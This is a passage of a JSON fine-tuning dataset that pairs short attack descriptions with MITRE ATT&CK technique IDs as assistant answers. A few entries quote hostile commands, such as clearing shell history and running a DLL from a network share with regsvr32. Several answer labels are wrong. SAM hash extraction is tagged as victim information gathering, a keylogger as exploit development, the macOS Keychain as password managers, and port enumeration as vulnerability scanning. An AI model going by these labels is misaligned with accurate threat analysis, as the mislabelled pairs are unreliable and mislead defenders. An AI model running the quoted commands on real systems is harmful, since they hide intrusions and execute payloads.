                "content": "An attacker logs into a paid industry forum using stolen credentials to gather insider information on upcoming security patches."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the NtAlertResumeThread function, the attacker triggers an alertable state in a victim thread, causing previously queued APC code to execute and compromise the system."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries infiltrate a victim's environment by authenticating to a cloud service and using its remote shell feature to run malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a user account, then use the network shared drive to collect and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a Linux server runs 'history -c' and deletes the .bash_history file to erase evidence of its activity."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed a repository enumeration against a public GitHub organization to identify repositories with sensitive files, then cloned them."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor encodes stolen files using a bespoke Base58Check encoding before uploading to cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a compromised remote server's /tmp directory to stage collected credentials."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor scans the host’s cgroup filesystem to map container resource limits and quotas."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits an unquoted service path vulnerability to execute a malicious executable with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries a DNS server that returns a different IP address for the same domain every few minutes, indicating dynamic resolution."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses Azure AD PowerShell to add a malicious service principal to the tenant."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ DNS tunneling as a fallback channel to exfiltrate data when outbound HTTP traffic is blocked."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging open DNS lookup services, the threat group gathers DNS resolution data to map the target's external infrastructure and identify future attack vectors."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a rule that triggers a command-line process to launch a credential dumping tool whenever an email is marked as high importance."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool modifies the TLS callback array of a process to run its own code during thread creation, effectively injecting code through Thread Local Storage."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captures and forwards all login data entered into a corporate intranet portal."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After collecting system logs, the attacker converts the data to hexadecimal representation and sends it over an HTTP channel."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ process hollowing by leveraging the WriteProcessMemory API to overwrite the memory of a trusted application with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware opened a Remote Desktop Protocol (RDP) session to a command-and-control server, enabling control over infected systems."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a command‑and‑control protocol within a popular web service, facilitating bidirectional communication that permits both remote instruction delivery and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the Outlook Home Page setting to load a PowerShell script embedded in a remote HTML page each time Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware retrieves an OAuth2 token from a compromised web application and uses it to download files from cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a PowerShell command to list entries from the Windows Security event log looking for recent successful logins."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on the endpoint issues a command to the Outlook client to clear the inbox and sent items, erasing traces of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs a multi‑stage C2 channel: initial beacon using SMB, later switching to HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages the Windows API CreateProcess with CREATE_SUSPENDED flag, then uses WriteProcessMemory to replace the process's executable code."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used variable substitution (e.g., %COMSPEC%) to obscure the actual command line."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate credentials then use them to upload a ransomware payload via SMB share."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan abuses the Windows Service API to spawn a new service that runs a PowerShell script silently."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting a malicious path entry, the attacker causes the operating system to resolve commands to their rogue counterparts, effectively hijacking execution."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilizes the resource fork to embed a secondary malicious script inside a seemingly innocuous document, which is later triggered by a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor runs masscan across the organization’s IP range to locate exposed hosts and enumerate open ports."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary renamed a malicious executable to \"svchost.exe \" (note the trailing space) to evade detection by security tools that trim file names."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By introducing a backdoored password filter DLL, the attacker obtains user credentials whenever authentication occurs."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor copies /etc/passwd and /etc/shadow to exfiltrate account credentials from the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a serverless function's insecure third‑party library to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor queries the Azure Resource Manager API to enumerate virtual machines, storage accounts, and network interfaces for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a zero‑day in the web server software to replace site assets with defaced images."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying IAM permissions, the intruder prevented the generation of new cloud audit logs."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a PowerShell script to extract cached domain credentials from the registry and writes them to a file."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary spawns a legitimate Windows process in a suspended state, swaps out its original code sections with malicious shellcode, and then resumes the process to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts stored passwords and password hashes from the compromised system's SAM file."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder modifies the password policy in the on-premises directory and propagates the changes to Azure AD, weakening authentication security."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is posted on a compromised social media account; clicking the link triggers the download and execution of ransomware."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilized a compromised SaaS integration to sync files from the target's cloud storage to an external server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent malicious payload is configured via a systemd timer that fires at 2 am each day to download additional modules."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For lateral movement, the intruder copied a malicious DLL to a network share and used regsvr32 /s /n \\\\target\\share\\payload.dll to execute code on the remote host."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor edits the user's Outlook profile XML to set the Home Page to a malicious HTML file, which runs scripts on Outlook launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary issues the \"dsquery user\" command to enumerate domain users."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs the DCSync technique to extract credential information by mimicking a DC and dumping OS credentials from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a CI/CD pipeline and harvest embedded Azure AD tokens for broader cloud access."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a benign-looking DOCX file that hides an encrypted payload within the document’s custom XML parts, which are extracted by a macro on execution."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was bundled into a self-extracting archive that decompresses at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion technique involves using Mavinject to load a malicious DLL into the taskhost.exe process, facilitating command execution without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code abuses BITS to download and install a root certificate for TLS interception."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT performs Kerberos ticket forging (Pass the Ticket) to access other hosts."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is installed via the Application Compatibility Toolkit's AppCert DLL mechanism to execute code during application launch."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a custom root certificate on the compromised host to sign malicious code and bypass code‑signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker builds a custom keylogger tool using publicly available source code and modifies it for stealth."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploited an over-privileged service account to call the Google Cloud Secret Manager API and download JSON key files."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs a DNS lookup to a controlled domain to infer the host's external IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting open UPnP services, the attacker sends spoofed discovery requests that cause devices to respond with large payloads directly to the target, creating a reflection-based DDoS."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker queries WHOIS databases and performs reverse IP lookups to discover all domains registered to a victim company."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell payload queries the macOS Keychain to retrieve stored passwords for privileged applications."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor generates a self‑signed code‑signing certificate to sign malware binaries for evading detection."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages sudo privileges to copy a custom launch daemon into /Library/LaunchDaemons and load it with launchctl load."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs process masquerading, renaming malicious processes to look like legitimate ones."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses internet-wide scanning services and searchable logs to find unpatched services in target environments."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the XSLT processing feature of a document viewer to run a malicious script that escalates privileges on the host."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor adds a scheduled job in the Windows Registry that triggers a malicious DLL load on user logon."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the On-Screen Keyboard (osk.exe) to load a backdoored DLL, enabling code execution whenever a user opens the on-screen keyboard via the accessibility menu."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a malicious PowerShell script in the EXIF metadata of a JPEG, which runs automatically on systems that process image metadata for thumbnails."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a domain controller edited the sync rules in Azure AD Connect, causing user attributes to be overwritten with attacker‑controlled values."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool writes its payload to a directory named 'System Volume Information' to hide it from normal directory listings."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
